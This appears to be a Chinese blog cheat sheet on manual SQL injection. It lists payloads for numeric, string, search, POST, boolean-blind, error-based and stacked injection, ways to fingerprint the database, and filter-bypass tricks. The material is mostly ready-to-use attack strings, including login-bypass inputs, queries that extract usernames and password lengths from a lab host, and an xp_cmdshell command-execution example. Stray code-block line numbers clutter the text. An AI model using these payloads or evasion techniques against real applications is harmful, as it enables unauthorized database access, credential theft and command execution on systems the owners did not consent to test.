常见SQL注入点判断
sql注入手工检测
2017年12月14日 09:36:16
1、基本检测
数字型
$id=@$_GET['id']; //id未经过滤
$sql = "SELECT * FROM sqltest WHERE id='$id'";
判断
asp?id=49' //报错
asp?id=49 and 1=1
asp?id=49 and 1=2
判断什么型
?id=1%2b1 //加法减法,可区分数字还是字符型
数据库权限判断,判断root
and ord(mid(user(),1,1))=114 或
and (select count(*) from mysql.user)>0 //返回正常有读写
判断字段,字段一样返回正常,几个字段写几个null返回正常
php?id=1 and 1=1 union select 1,2,3,4,5 或
php?id=1 union select null,null,null.....
php?id=1 and 1=1 order by 3
强制返回记录
php?id=2 union select 1,2,3 limit 1,1
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
字符型
$sql="select * from user where username = '$name'"; //php
select * from user where username = 'admin' //sql
$query="select first_name from users where id='$_GET['id']'"; //字符型
1' union select database() #; //输入
select first_name from users where id='1'union select database()#' //sql语句变形
判断
xx' and '1'=1--'
xx' and '1=2--'
猜字段
php?username=admin' union select 1,2,3,4 and '1'='1
猜对后是4个字段,替换相关回显位
php?username=admin' union select database(),version(),3,4 and '1'='1
猜表名
php?username=admin'+and+(select+count(*)+from+user)>0+and+''='
猜密码
php?username=admin' and password='fendo
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
搜索型
$sql="select * from user where password like '%$pwd%' order by password";
'and 1=1 and '%'=' //输入
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password//sql语句
判断
'and 1=1 and '%'='
keyword' //报错,90存在
keyword% //报错,95存在
keyword% 'and 1=1 and '%'=' //
keyword% 'and 1=2 and '%'=' //
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
判断字段
%' union select 1,2,3,4,...... and '%'='
%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'=' //6是字段可更换,小于6说明字段数是5
判断表明
%'and(select count(*)from admin)>0 and '%'='
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
POST注入
' //看是否会报错,盲注不会报错
' or '1'='1'-- //用户名绕过
' or 1=1#
' order by 4#
'or 1=1 union select 1,2,3,4 # //猜表名和回显
'or 1=1 union select username,password,3,4 from user# //猜内容
实例
login.asp?name=admin'&pass=admin //出错,存在
login.asp?name=admin &pass=admin' and '1=1 //
login.asp?pass=admin&name=admin' and 1=1 and 'a'='a //
SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a' //sql语句变成,此时正常登陆
可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试
猜表,成功说明是data
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
猜字段
http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
猜密码长度
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
,成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
布尔盲注
判断
http://localhost/index.php?id=2
http://localhost/index.php?id=2'
http://localhost/index.php?id=2''
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2' and 1=1#
数据库长度
php?id=2' and length(database())>1%23
数据库名称
php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
表长度
php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
表名
php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
获取字段个数和长度
php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
字段名
php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
报错注入
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
- 1
- 1
堆叠注入
union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
Mysql
select * from users where id=1;create table test like users;
Sqlserver
select * from test;create table sc3(ss CHAR(8));
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
Oracle 不支持
Postgresql 支持
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
判断是什么数据库
常见的数据库Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:Oracle、DB2、MySql
1.是否可以使用特定的函数来判断,该数据库特有的
len()函数:mssql、mysql、db2
length()函数:Oracle、informix
substring:mssql
substr:oracle
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
/* mysql特有注释符,返回错误说明不是mysql
-- 是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符
; 是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
;-- 在注入点后加分号、斜杠、斜杠,返回正常是mssql,返回错误是ACCESS
3.是否可以编码查询
4.是否显可以利用错信息
错误提示Microsoft JET Database Engine 错误 '80040e14',
JET是ACCESS数据库
ODBC是MSSQL数据库
5.是否存在数据库某些特性辅助判断
and exists (select count(*) from sysobjects) 返回正常是mssql
and exists (select count(*) from msysobjects) 两条,和上一条返回都不正常是ACCESS
如果是字符型,参数后加 ' 最后加 ;--
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
2、绕过技巧
大小写
index.php?page_id=-15 uNIoN sELecT 1,2,3,4
- 1
- 1
替换关键字
index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
可替换and的词 或者=号
or、||(限mysql)、&&(限mysql)、xor、like、<、>
- 1
- 2
- 3
- 1
- 2
- 3
使用编码
1、URL编码,可以编码两次
page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
空格: 20%
#: %23
% %25
& %26
2、Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�
空格:%u0020、%uff00、� 、�、�
左括号:%u0028、%uff08、�(、�、�
右括号:%u0029、%uff09、�)、�、�
举例:
?id=10�' AND 1=2#
SELECT 'Ä'='A'; #1
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
注释和符号
常用注释
//, -- , , #, --+,-- -, ;--a
' or 1=1#
' or 1=11='1
' 1='1
常用前缀
+ – ~ !
' or –+2=- -!!!'2
常用操作符
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
等价函数与命令
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例substring()和substr()无法使用时
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
特殊符号
1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制